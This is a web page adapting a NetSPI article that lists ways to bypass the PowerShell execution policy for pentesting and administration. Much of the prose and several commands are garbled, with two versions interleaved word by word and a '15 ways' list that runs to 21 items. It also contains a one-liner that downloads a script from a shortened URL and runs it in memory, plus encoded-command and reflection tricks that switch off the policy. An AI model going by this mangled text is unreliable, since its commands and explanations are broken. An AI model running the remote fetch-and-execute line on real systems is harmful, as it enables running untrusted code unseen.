Bypass the PowerShell Execution Policy

💻 15 Ways to Bypass the PowerShell Execution Policy

Based on the original byAuthor: Scott Sutherland
Source: (NetSPI)

---

🔎 What is the PowerShell Execution Policy?

PowerShell’sThe execution policy restrictsdetermines scriptwhat type of PowerShell scripts (if any) can run. By default, it's set to Restricted, which blocks all scripts. It's meant to prevent accidental execution, butnot theseas methodsa allowtrue yousecurity control — which is why it’s easy to bypassbypass.

it

💡 withoutWhy needingBypass adminIt?

rights.

• PowerShell is native to Windows
• Can interact with the Windows API
• Can run in memory (no disk writes)
• Often trusted by whitelisting tools
• Used in many open-source pentest frameworks

🔍 View Current Execution Policy

Get-ExecutionPolicy
Get-ExecutionPolicy -List | Format-Table -AutoSize

🧪 QuickTest MethodsScript withExample

Examples

Write-Host "My voice is my passport, verify me."

---

🚪 15 Ways to Bypass Execution Policy

1. Paste directlyin Interactive Console
   Directly run the script in thePowerShell. console
   PoliciesNo don’tconfig applychanges toor manuallyfile typed commands.writes.
2. Echo & pipe to PowerShell
   

   echo Write-Host "Hi"My \voice is my passport" | powershell -noprofile -
   Executes

   via stdin.
3. Pipe aFile scriptvia fileType/Get-Content
   

   Get-Content script..\runme.ps1 \| powershell -noprofile -
   Reads

   line-by-line

   type as.\runme.ps1 input.| powershell -noprofile -

4. Download and+ execute in memoryInvoke-Expression
   

   powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL'https://bit.ly/1kEgbuH')"
   No

   file written to disk.
5. Use -Command argumentSwitch
   

   powershell -command "Write-Host 'Bypass'Hello'"
   Executes

   inline commands.
6. Use -EncodedCommand
   

   $cmd = "Write-Host 'Hello'"
   $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
   [Convert]::ToBase64String($bytes)

   Then run with:
   powershell -EncodedCommand argument<base64>
7. Invoke-Command
   

   Invoke-Command -ScriptBlock {Write-Host "Hello"}

   Base64-encodedCan stringalso passedpull directlypolicy tofrom PowerShell.a remote host:
   

   Invoke-Command -ComputerName server -ScriptBlock {Get-ExecutionPolicy} | Set-ExecutionPolicy -Force

8. Invoke-Expression (iex)
   

   Get-Content .\runme.ps1 | Invoke-Expression

   or
   

   gc .\runme.ps1 | iex

9. Use -ExecutionPolicy Bypass
   

   powershell -ExecutionPolicy Bypass -File .\runme.ps1

10. Use -ExecutionPolicy Unrestricted
    

    powershell -ExecutionPolicy UnRestricted -File .\runme.ps1

11. Use -ExecutionPolicy RemoteSigned
    

    powershell -ExecutionPolicy RemoteSigned -File .\runme.ps1

12. Swap AuthorizationManager (Temporary)
    

    
    function Disable-ExecutionPolicy {
      ($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue(
      $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue(
      $ctx, (New-Object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
    }
    Disable-ExecutionPolicy
    

13. Set executionPolicy policyfor in sessionProcess
    

    Set-ExecutionPolicy Bypass -Scope Process
    

    Only affectsfor currentthis session.
14. UseSet PowerShellPolicy ISEfor Current User
    

    powershell_ise.exeSet-ExecutionPolicy script.ps1-Scope CurrentUser -ExecutionPolicy UnRestricted
    Sometimes

    bypasses policy.
15. RenameEdit scriptRegistry tofor .txtCurrent User
    Read and

    Modify:

    runHKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
    manually;

    Add/modify avoidsstring .ps1value enforcement.

ExecutionPolicy
16. WMI= execution
RunsUnrestricted
    PowerShell remotely via Win32_Process.
17. Scheduled task
    Create task to run your script.
18. PowerShell remoting
    Executes on remote systems; local policy may not apply.
19. Inject via DLL (advanced)
    Loads PowerShell engine directly in memory.
20. Invoke from MSHTA or wscript
    Uses alternate script hosts to trigger PowerShell.
21. Use trusted software to execute
    Hijack or abuse applications that run PowerShell under the hood.

---

---

✅ Wrap Up

Note:PowerShell’s Theseexecution methodspolicy areis a soft restriction — not a security boundary. Microsoft even provides native ways to bypass it. Use these techniques for legitimate use only — such as automation, testing, and redadministration.

teaming

Adapted from NetSPI — whereoriginal authorized.blog post